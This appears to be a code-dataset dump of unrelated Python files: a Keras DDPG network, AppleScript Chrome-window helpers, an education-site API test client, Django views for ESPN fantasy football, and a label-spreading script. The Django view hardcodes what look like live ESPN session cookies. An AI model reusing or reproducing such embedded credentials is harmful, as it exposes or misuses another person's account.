"usage_type": "attribute"}, {"api_name": "telebot.TeleBot", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 23, "usage_type": "attribute"}, {"api_name": "schedule.every", "line_number": 40, "usage_type": "call"}, {"api_name": "schedule.run_pending", "line_number": 45, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 47, "usage_type": "call"}, {"api_name": "flask.request.headers.get", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 64, "usage_type": "attribute"}, {"api_name": "flask.request.get_data", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 65, "usage_type": "attribute"}, {"api_name": "telebot.types.Update.de_json", "line_number": 66, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask.abort", "line_number": 70, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 125, "usage_type": "call"}]} +{"seq_id": "21021483", "text": "import numpy as np\nimport math\n\nfrom keras.initializers import normal, identity\nfrom keras.models import Sequential, Model, model_from_json, load_model\nfrom keras.layers import Dense, Flatten, Input, merge, Lambda,concatenate, Activation,add\nfrom keras.optimizers import Adam\nimport keras.backend as k\n\nimport tensorflow as tf\n\nn_H1 = 300\nn_H2 = 600\n\nclass CriticNetwork(object):\n def __init__(self, sess, state_size, action_size, tau, lr):\n k.set_session(sess)\n self.sess = sess\n\n self.tau = tau\n self.lr = lr\n\n self.action_size = action_size\n self.model, self.action, self.state = self.create_critic_network(state_size, action_size) \n self.target_model, self.target_action, self.target_state = self.create_critic_network(state_size, action_size) \n self.graph = tf.get_default_graph()\n self.action_grads = tf.gradients(self.model.output, self.action)\n self.sess.run(tf.global_variables_initializer())\n #self.sess.run(tf.initialize_all_variables())\n\n def gradients(self, states, actions):\n return self.sess.run(self.action_grads, feed_dict={self.state: states, self.action: actions })[0]\n\n def target_train(self):\n critic_weights = self.model.get_weights()\n critic_target_weights = self.target_model.get_weights()\n for i in range(len(critic_weights)):\n critic_target_weights[i] = self.tau * critic_weights[i] + (1 - self.tau)* critic_target_weights[i]\n self.target_model.set_weights(critic_target_weights)\n\n def create_critic_network(self, state_size,action_dim):\n S = Input(shape=[state_size]) \n A = Input(shape=[action_dim],name='action2') \n\n w1 = Dense(n_H1, activation='relu')(S)\n a1 = Dense(n_H2, activation='linear')(A) \n h1 = Dense(n_H2, activation='linear')(w1)\n h2 = add([h1,a1]) \n h3 = Dense(n_H2, activation='relu')(h2)\n\n V = Dense(action_dim,activation='linear')(h3) \n model = Model(inputs=[S,A],outputs=V)\n\n adam = Adam(lr=self.lr)\n model.compile(loss='mse', optimizer=adam)\n return model, A, S \n\nclass ActorNetwork(object):\n def __init__(self, sess, state_size, action_size, tau, lr):\n self.sess = sess\n self.tau = tau\n self.lr = lr\n\n k.set_session(sess)\n\n self.model , self.weights, self.state = self.create_actor_network(state_size, action_size) \n self.target_model, self.target_weights, self.target_state = self.create_actor_network(state_size, action_size) \n self.graph = tf.get_default_graph() \n self.action_gradient = tf.placeholder(tf.float32,[None, action_size])\n self.params_grad = tf.gradients(self.model.output, self.weights, -self.action_gradient)\n\n grads = zip(self.params_grad, self.weights)\n self.optimize = tf.train.AdamOptimizer(lr).apply_gradients(grads)\n self.sess.run(tf.global_variables_initializer())#tf.initialize_all_variables())\n\n def train(self, states, action_grads):\n self.sess.run(self.optimize, feed_dict={self.state: states, self.action_gradient: action_grads})\n\n def target_train(self):\n actor_weights = self.model.get_weights()\n actor_target_weights = self.target_model.get_weights()\n for i in range(len(actor_weights)):\n actor_target_weights[i] = self.tau * actor_weights[i] + (1 - self.tau)* actor_target_weights[i]\n self.target_model.set_weights(actor_target_weights)\n\n def create_actor_network(self, state_size, action_dim):\n initializer = normal(mean=0,stddev=1e-4)\n\n S = Input(shape=[state_size],name='input_1') \n h0 = Dense(n_H1, activation='relu',name='dense_1')(S)\n h1 = Dense(n_H2, activation='relu',name='dense_2')(h0)\n\n Steering = Dense(1,activation='tanh',use_bias=True,kernel_initializer=initializer,name='dense_3')(h1)\n Acceleration = Dense(1,activation='sigmoid',use_bias=True, kernel_initializer=initializer,name='dense_4')(h1)\n Brake = Dense(1,activation='sigmoid',use_bias=True,kernel_initializer=initializer,name='dense_5')(h1)\n\n V = concatenate([Steering,Acceleration,Brake],axis=-1,name='merge_1') \n model = Model(input=S,output=V)\n \n return model, model.trainable_weights, S", "sub_path": "code/networks_ddpg.py", "file_name": "networks_ddpg.py", "file_ext": "py", "file_size_in_byte": 4309, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "keras.backend.set_session", "line_number": 17, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 17, "usage_type": "name"}, {"api_name": "tensorflow.get_default_graph", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.gradients", "line_number": 27, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 42, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 43, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 45, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.layers.add", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 52, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.backend.set_session", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 64, "usage_type": "name"}, {"api_name": "tensorflow.get_default_graph", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.gradients", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.initializers.normal", "line_number": 87, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 90, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 91, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 93, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 95, "usage_type": "call"}, {"api_name": "keras.layers.concatenate", "line_number": 97, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 98, "usage_type": "call"}]} +{"seq_id": "121570356", "text": "# !/usr/bin/python\n# coding: utf-8\nimport logging\nimport timeit\nfrom subprocess import Popen, PIPE\n\n\ndef log_func(func):\n def wrapper(*args, **kwargs):\n t0 = timeit.default_timer()\n result = func(*args, **kwargs)\n elapsed = timeit.default_timer() - t0\n arg_str = ', '.join(repr(arg) for arg in args)\n\n logging.info('[%0.8fs] %s (%s)==%s' % (elapsed, func.__name__,arg_str, result))\n return result\n\n return wrapper\n\n\ndef applescript_call(src):\n\n p = Popen(['osascript', '-'], stdin=PIPE, stdout=PIPE, stderr=PIPE, universal_newlines=True)\n stdout, stderr = p.communicate(src)\n if len(stderr) > 0:\n logging.error(\"apple script src:\\n%s\\n\" % src)\n logging.error(\"apple script error:\\n%s\\n\" % stderr)\n raise Exception(stderr)\n print(stdout)\n # logging.debug(\"result:\\n%s\\n\" % stdout)\n return stdout.rstrip(\"\\n\")\n\n\n@log_func\ndef get_window_id_list():\n text = applescript_call(r\"\"\"\n \ttell application \"Google Chrome\"\n \t\tset window_number to 0\n \t\tset list_text to \"\"\n \t\trepeat with window_obj in windows\n \t\t\tset list_text to list_text & (id of window_obj as text) & \" \"\n \t\tend repeat\n \t\treturn list_text\n \tend tell\n \"\"\")\n text = text.strip()\n if text == \"\":\n return []\n return list(map(int, text.split(\" \")))\n\n\n@log_func\ndef bring_window_to_front_by_id(_id):\n applescript_call(r\"\"\"\n\ttell application \"Google Chrome\"\n\tset window_number to 0\n\trepeat with window_obj in windows\n\t\tset window_number to window_number + 1\n\t\tif %d is id of window_obj then\n\t\t\t# https://stackoverflow.com/questions/10366003/applescript-google-chrome-activate-a-certain-window/16727145#16727145\n\t\t\t# changing the index raises the window, but for example keyboard shortcuts are still registered by the previously frontmost window.\n\t\t\twindow_number\n\t\t\tset index of window window_number to 1\n\t\t\tactivate\n\t\t\texit repeat\n\t\tend if\n\t\t\n\tend repeat\n\t\nend tell\n \"\"\" % _id)\n # applescript_call(r\"\"\"\n # tell application \"Google Chrome\"\n # set window_number to 0\n # repeat with window_obj in windows\n # set window_number to window_number + 1\n # if %d is id of window_obj then\n # tell application \"System Events\" to tell process \"Google Chrome\"\n # perform action \"AXRaise\" of window window_number\n # set frontmost to true\n # end tell\n # exit repeat\n # end if\n #\n # end repeat\n #\n # end tell\n # \"\"\" % _id)\n\n\n@log_func\ndef get_windows():\n csv_text = applescript_call(r\"\"\"\n on GetChromeWindowListCSV()\n \ttell application \"Google Chrome\"\n \t\tset window_number to 0\n \t\tset csv_text to \"id,number,title\n\"\n\n \t\trepeat with window_obj in windows\n \t\t\tset window_number to window_number + 1\n \t\t\tset csv_text to csv_text & (id of window_obj as text) & \",\" & window_number & \",\\\"\" & title of window_obj & \"\\\"\n\"\n \t\tend repeat\n\n \t\treturn csv_text\n \tend tell\n end GetChromeWindowListCSV\n GetChromeWindowListCSV()\n \"\"\")\n # print(csv_text)\n import csv, io\n csv_f = io.StringIO(csv_text)\n reader = csv.DictReader(csv_f)\n result = []\n for row in reader:\n result.append({\n \"title\": row[\"title\"].strip(),\n \"id\": int(row[\"id\"].strip()),\n \"number\": int(row[\"number\"].strip()),\n })\n csv_f.close()\n return result\n", "sub_path": "resources/base_assistance.app/Contents/MacOS/apple_script.py", "file_name": "apple_script.py", "file_ext": "py", "file_size_in_byte": 3546, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "timeit.default_timer", "line_number": 10, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 15, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 23, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 23, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 27, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 113, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 114, "usage_type": "call"}]} +{"seq_id": "233354515", "text": "# coding = utf-8\r\nimport requests\r\nimport json\r\nfrom common.common import common as co\r\nfrom api.api_base.api_base import api_base as api_base\r\n\r\nclass work_comment():\r\n def __init__(self):\r\n # 以下这些接口地址：http://wiki.17zuoye.net/pages/viewpage.action?pageId=38923827\r\n pass\r\n\r\n # 获取古诗课的点评课列表(这个接口有可能因为雪瑞关掉而不正常)\r\n def query_courseList(self,mobile,student_id,lesson_id):\r\n '''\r\n :param mobile:\r\n :param student_id:\r\n :param lesson_id: 指的是课程id，如古诗1-1是1、古诗三是2010，古诗2-2是11\r\n :return:\r\n '''\r\n # https://www.test.17zuoye.net/parentmobile/studytogether/workcomment/courselist.vpage?lesson_id=2010&sid=333927829\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/courselist.vpage\"\r\n params = {\"lesson_id\": lesson_id, \"sid\": student_id}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n result = requests.get(url=url, params=params, headers=headers).text\r\n return result\r\n\r\n # 展示点评课课程内容\r\n def poemContent_vpage(self,mobile,student_id,course_id):\r\n '''\r\n :param mobile:\r\n :param student_id:\r\n :param course_id: 指的是java端课程内部每一节课中带点评功能的课的id，形式是：5b487b5946e5e271752ea1f2\r\n :return:\r\n '''\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/poemcontent.vpage\"\r\n params = {\"course_id\":course_id,\"sid\":student_id}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n\r\n result = requests.get(url=url,params=params,headers=headers).text\r\n return result\r\n\r\n # 保存诗词录音\r\n def upload_voice(self,mobile,student_id,voice_url,course_id):\r\n '''\r\n :param mobile:\r\n :param student_id:\r\n :param voice_url:\r\n :param course_id: 指的是java端课程内部每一节课中带点评功能的课的id，形式是：5b487b5946e5e271752ea1f2\r\n :return:\r\n '''\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/uploadvoice.vpage\"\r\n data = {\"sid\":student_id,\"url\":voice_url,\"course_id\":course_id}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n result = requests.post(url=url,data=data,headers=headers).text\r\n return result\r\n\r\n # 分享诗词录音\r\n def share_voice(self,mobile,student_id,course_id):\r\n '''\r\n :param mobile:\r\n :param student_id:\r\n :param course_id: 指的是java端课程内部每一节课中带点评功能的课的id，形式是：5b487b5946e5e271752ea1f2\r\n :return:\r\n '''\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/share.vpage\"\r\n params = {\"student_id\":student_id,\"course_id\":course_id}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n result = requests.get(url=url,params=params,headers=headers).text\r\n return result\r\n\r\n # 购买免费课程\r\n def freeCourse_buy(self,mobile,student_id,course_id):\r\n '''\r\n 本函数介绍：免费课程，刚进来默认poemcontent接口的is_buy=false，等点击“限时免费获取中”后，is_buy=true\r\n :param mobile:\r\n :param student_id:\r\n :param course_id:\r\n :return:\r\n '''\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/buy.vpage\"\r\n data = {\"sid\": student_id, \"course_id\": course_id}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n result = requests.post(url=url, data=data, headers=headers).text\r\n return result\r\n\r\n # 获取学生反馈内容\r\n def load_feedback(self,mobile,student_id,course_id):\r\n '''\r\n :param mobile:\r\n :param student_id:\r\n :param course_id: 指的是java端课程内部每一节课中带点评功能的课的id，形式是：5b487b5946e5e271752ea1f2\r\n :return:\r\n '''\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/loadfeedback.vpage\"\r\n params = {\"sid\":student_id,\"course_id\":course_id}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n result = requests.get(url=url,params=params,headers=headers).text\r\n return result\r\n\r\n # 保存学生反馈内容\r\n def add_feedback(self,mobile,student_id,course_id,satisfaction,desc):\r\n '''\r\n 本函数介绍：\r\n :param mobile:\r\n :param student_id:\r\n :param course_id:\r\n :param satisfaction: int，满意度，必填。0不满意 1满意\r\n :param desc: 反馈描述，可以为空\r\n :return:\r\n '''\r\n\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/addfeedback.vpage\"\r\n data = {\"sid\": student_id,\r\n \"course_id\": course_id,\r\n \"satisfaction\":satisfaction,\r\n \"desc\":desc}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n result = requests.post(url=url, data=data, headers=headers).text\r\n return result\r\n\r\n # 学习币购买课程\r\n def coin_buy(self,mobile,student_id,course_id):\r\n '''\r\n 本函数介绍：\r\n :param mobile:\r\n :param student_id:\r\n :param course_id:\r\n :return:\r\n '''\r\n\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/coinbuy.vpage\"\r\n data = {\"sid\": student_id, \"course_id\": course_id}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n result = requests.post(url=url, data=data, headers=headers).text\r\n return result\r\n\r\n # 分享添加学习币\r\n def add_coin(self,mobile,student_id,course_id):\r\n '''\r\n 本函数介绍：\r\n :param mobile:\r\n :param student_id:\r\n :param course_id:\r\n :return:\r\n '''\r\n\r\n url = \"https://www.\" + co().domain_environment + co().domain_latterHalf\r\n url = url + \"parentmobile/studytogether/workcomment/addcoin.vpage\"\r\n data = {\"sid\": student_id, \"course_id\": course_id}\r\n headers = api_base().get_yqx_login_cookie(mobile)\r\n result = requests.post(url=url, data=data, headers=headers).text\r\n return result\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n workComment = work_comment()\r\n # print(workComment.poemContent_vpage(\"12002001135\",\"333927829\",\"5b5ebd15777487595a0d6bc1\"))\r\n # print(workComment.query_courseList(\"12002001135\",\"333927829\",\"2010\"))\r\n # print(workComment.query_courseList(\"15564301632\", \"333928021\", \"2010\"))\r\n # voice_url = \"https://cdn-va.17zuoye.cn/learntogether/share/poetry/LYESQRWHLZS02.mp3\"\r\n voice_url = \"workcomment/test/2018/07/23/20180723114259664343.MP3\"\r\n # print(workComment.upload_voice(\"12002001002\",\"333924192\",voice_url,\"5b57f2f5ac7459a0849b033f\"))\r\n # print(workComment.share_voice(\"12002001135\",\"333927829\",\"5b5c33c47774873a7f7b4162\")) # 333928021\r\n print(workComment.load_feedback(\"12002001135\",\"333927829\",\"5b6170da8edbc8a50b3029b0\"))\r\n # print(workComment.add_feedback(\"12002001127\",\"333924596\",\"5b57f2f5ac7459a0849b033f\",0,\"我觉得你们一起学可以点评得更好！\"))\r\n # print(workComment.coin_buy(\"12002001127\",\"333924596\",\"5b5ebca7777487595a0d6b95\"))\r\n # print(workComment.add_coin(\"12002001135\",\"333927829\",\"5b5c1792ac74598d9bd58ca2\"))", "sub_path": "api/parent/work_comment/api_work_comment.py", "file_name": "api_work_comment.py", "file_ext": "py", "file_size_in_byte": 7925, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "common.common.common", "line_number": 21, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "common.common.common", "line_number": 36, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 39, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}, {"api_name": "common.common.common", "line_number": 53, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 56, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 57, "usage_type": "call"}, {"api_name": "common.common.common", "line_number": 68, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 71, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 72, "usage_type": "call"}, {"api_name": "common.common.common", "line_number": 84, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 87, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 88, "usage_type": "call"}, {"api_name": "common.common.common", "line_number": 99, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 102, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 103, "usage_type": "call"}, {"api_name": "common.common.common", "line_number": 118, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 124, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 125, "usage_type": "call"}, {"api_name": "common.common.common", "line_number": 138, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 141, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 142, "usage_type": "call"}, {"api_name": "common.common.common", "line_number": 155, "usage_type": "call"}, {"api_name": "api.api_base.api_base.api_base", "line_number": 158, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 159, "usage_type": "call"}]} +{"seq_id": "268492495", "text": "from django.shortcuts import render, get_object_or_404, redirect\nfrom django.utils import timezone\nfrom .models import Post\nfrom .forms import PostForm\nfrom .ff_espn_api import League\n\n# Create your views here.\ndef homepage(request):\n\t# could have something like leagues = league(league_id)... here?\n\treturn render(request,'ff/homepage.html')\n\ndef post_list(request):\n\tposts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n\treturn render(request, 'ff/post_list.html', {'posts':posts})\n\t\ndef post_detail(request,pk):\n\tpost = get_object_or_404(Post, pk=pk)\n\treturn render(request, 'ff/post_detail.html',{'post':post})\n\t\ndef post_new(request):\n\tif request.method == \"POST\":\n\t\tform = PostForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.author = request.user\n\t\t\tpost.published_date = timezone.now()\n\t\t\tpost.save()\n\t\t\treturn redirect('post_detail',pk=post.pk)\n\telse:\n\t\tform = PostForm()\n\treturn render(request, 'ff/post_edit.html', {'form':form})\n\t\ndef post_edit(request, pk):\n\tpost = get_object_or_404(Post,pk=pk)\n\tif request.method == \"POST\":\n\t\tform = PostForm(request.POST, instance=post)\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.author = request.user\n\t\t\tpost.published_date = timezone.now()\n\t\t\tpost.save()\n\t\t\treturn redirect('post_detail',pk=post.pk)\n\telse:\n\t\tform = PostForm(instance=post)\n\treturn render(request, 'ff/post_edit.html', {'form':form})\n\t\ndef weekly_scores(request):\n\t# Get all this info via a form in future. can use username and password apparently instead of espn_s2 and swid\n\tleague_id = 692156\n\tyear = 2019\n\tespn_s2 = 'AEBlxO7SfF6cuPjEvujvAbpQ5fmvr7oYPxIyQV9qsazYKOuNCN14sb%2FBGr4yOyXwUtLTS8a4igLp2SrraMI6lC1EoWiHHKPhUZyqMiS%2B7JCKSapXyDbqHnX8ur1Ga0q3d7sGe9i4gi8ZKbIqaZWhJBdEqqa2UXBDLrgoxpUade%2BzepUwahpfqOvzOr87TiXACwdcnRIqPmhXGW4SuPU8kMlLqWPgj3zL%2FGLKF%2B%2B2gZ1AQxgHUBXYIXpHatVRgWndZNPLIfehi8FV5Xmi8PZnWP2%2F'\n\tswid = \"{E9BFC86F-E2A7-4FD8-BFC8-6FE2A71FD8B5}\"\n\tleague = League(league_id, year, espn_s2, swid)\n\tteams = league.teams\n\ttop_scorer = league.top_scorer\n\tmatchups = league.scoreboard\n\treturn render(request, 'ff/weekly_scores.html',{'league':league})\n\ndef plot_test(request):\n\tfigure_or_data = [Scatter(x=[1, 2, 3], y=[3, 1, 6])]\n\n\tplot_html = plot_html, plotdivid, width, height = _plot_html(\n\t\tfigure_or_data, True, 'test', True,\n\t\t'100%', '100%')\n\n\tresize_script = ''\n\tif width == '100%' or height == '100%':\n\t\tresize_script = (\n\t\t\t''\n\t\t\t''\n\t\t).format(id=plotdivid)\n\n\thtml = ''.join([\n\t\tplot_html,\n\t\tresize_script])\n\n\treturn render(request, 'dashboard.html', {'html': html,})", "sub_path": "ff/views_0.py", "file_name": "views_0.py", "file_ext": "py", "file_size_in_byte": 2807, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.shortcuts.render", "line_number": 10, "usage_type": "call"}, {"api_name": "models.Post.objects.filter", "line_number": 13, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 13, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 13, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 13, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 14, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 17, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 17, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 18, "usage_type": "call"}, {"api_name": "forms.PostForm", "line_number": 22, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 26, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 26, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 28, "usage_type": "call"}, {"api_name": "forms.PostForm", "line_number": 30, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 34, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 34, "usage_type": "argument"}, {"api_name": "forms.PostForm", "line_number": 36, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 40, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 40, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 42, "usage_type": "call"}, {"api_name": "forms.PostForm", "line_number": 44, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 45, "usage_type": "call"}, {"api_name": "ff_espn_api.League", "line_number": 53, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 57, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 81, "usage_type": "call"}]} +{"seq_id": "98403909", "text": "from __future__ import division\n\nimport os\nimport pandas as pd\nimport numpy as np\n\nfrom gensim import corpora\nfrom gensim import models\nfrom gensim.matutils import corpus2dense as c2d\nfrom scipy.optimize import minimize\n\nfrom Mongolab import Mongolab\nfrom processing import flatten\nfrom sklearn.semi_supervised import LabelSpreading\nfrom sklearn.preprocessing import RobustScaler\nfrom TokenProcessor import TokenProcessor\nfrom functools import partial\n\nfrom ipdb import set_trace as st\n\ndef __encodeTokens(tokens, tfidf, dictionary):\n # Does the following things in 'one' pass:\n # 1. Converts plaintext word tokens to a bag-of-words representation\n # 2. Converts the BoW representation to a TF-IDF representation\n # 3. Converts the TF-IDF representation from a sparse matrix to a normal matrix\n # 4. Flattens out the array to remove conversion artifacts from (3)\n return flatten(c2d([tfidf[dictionary.doc2bow(tokens)]], len(tfidf.idfs), num_docs=1))\n\ndef __encodeLabel(label):\n if label == 'no_agreement':\n return -1\n elif label == '1 Little or No Disclosure':\n return 1\n elif label == '2 Superficial Disclosure':\n return 2\n elif label == '3 Conventional Disclosure':\n return 3\n elif label == '4 Personal Disclosure':\n return 4\n elif label == '5 Intimate Disclosure':\n return 5\n else:\n raise ValueError(label)\n\ndef __getWeightedLabels(ls, intLabels=True):\n # Take the weighted average of the labels\n # This is a shortcut for identifying the median value\n # because the label distributions are encoded as binarized vectors\n result = [np.average(ls.classes_, weights=p) for p in ls.label_distributions_]\n result = np.nan_to_num(result)\n\n if intLabels:\n # Round each element and cast to an int\n result = np.around(result).astype(int)\n\n return result\n\ndef __score(data):\n # Start by assuming everything is badly labeled\n numErrors = len(data)\n idErrors = []\n\n # SHAME: This goes through every row of the dataframe,\n # which sort of... violates the purpose of Pandas .___.\n for host_id, r in data.iterrows():\n label1, label2, labelSpread = r.label_1, r.label_2, r.label_spread\n minVal, maxVal = min(label1, label2), max(label1, label2)\n\n # Label is 'correct' if it's within the human prediction range\n if labelSpread >= minVal and labelSpread <= maxVal:\n numErrors-= 1\n else:\n idErrors.append(host_id)\n\n return numErrors, idErrors\n\ndef createLS(alpha, gamma, data):\n # Scale training data and extract labels\n rs = RobustScaler()\n scaledFeats = rs.fit_transform(data.feat_tokens.tolist())\n trainLabels = data.label_train.tolist()\n\n # Run label spreading operation\n ls = LabelSpreading(kernel='rbf', alpha=alpha, gamma=gamma, max_iter=10000)\n ls.fit(scaledFeats, trainLabels)\n\n # Vote on the classification outcome and inject\n # the 'final' result into the dataframe\n data.loc[:, 'label_spread'] = __getWeightedLabels(ls)\n\n return data, ls\n\ndef propagate(params, data):\n alpha, gamma = params[0], params[1]\n data, _ = createLS(alpha, gamma, data)\n\n # Score only labels with no agreement because the rest\n # would result in a score of 0 anyway\n score, _ = __score(data[data.Answer == 'no_agreement'])\n\n return score\n\ndef main(optimize=False, saveCsv=True):\n AMT_DATA_PATH = os.path.join(os.getcwd(), 'data_labels', 'Batch_2182142_batch_results.csv')\n\n mg = Mongolab()\n tp = TokenProcessor()\n\n # Get City Data\n cityData = mg.getData('ny_us')\n cityData = cityData[['host_id', 'host_is_superhost', 'property_type', 'room_type']]\n cityData.loc[:, 'cleaned_tokens'] = tp.get('ny_us')\n cityData.set_index('host_id', inplace=True)\n\n # Get AMT Results\n amtData = pd.read_csv(AMT_DATA_PATH, engine='c')\n amtData = amtData[['host_id', 'Answer1', 'Answer2', 'Answer']]\n amtData.set_index('host_id', inplace=True)\n\n # Merge both dataframes and intersect by host_id\n data = pd.merge(cityData, amtData, left_index=True, right_index=True, how='inner')\n\n # Don't need these things lying around anymore!\n del cityData\n del amtData\n\n # Create TF-IDF transformer for tokens\n tokens = data.cleaned_tokens.tolist()\n dictionary = corpora.Dictionary(tokens)\n tfidf = models.TfidfModel(dictionary.doc2bow(t) for t in tokens)\n\n # Encode tokens into word vectors\n encTokens = partial(__encodeTokens, tfidf=tfidf, dictionary=dictionary)\n data.loc[:, 'feat_tokens'] = data.cleaned_tokens.map(lambda d: encTokens(d))\n\n # Marshall label data\n data.loc[:, 'label_train'] = data.Answer.map(lambda d: __encodeLabel(d))\n data.loc[:, 'label_1'] = data.Answer1.map(lambda d: __encodeLabel(d))\n data.loc[:, 'label_2'] = data.Answer2.map(lambda d: __encodeLabel(d))\n\n 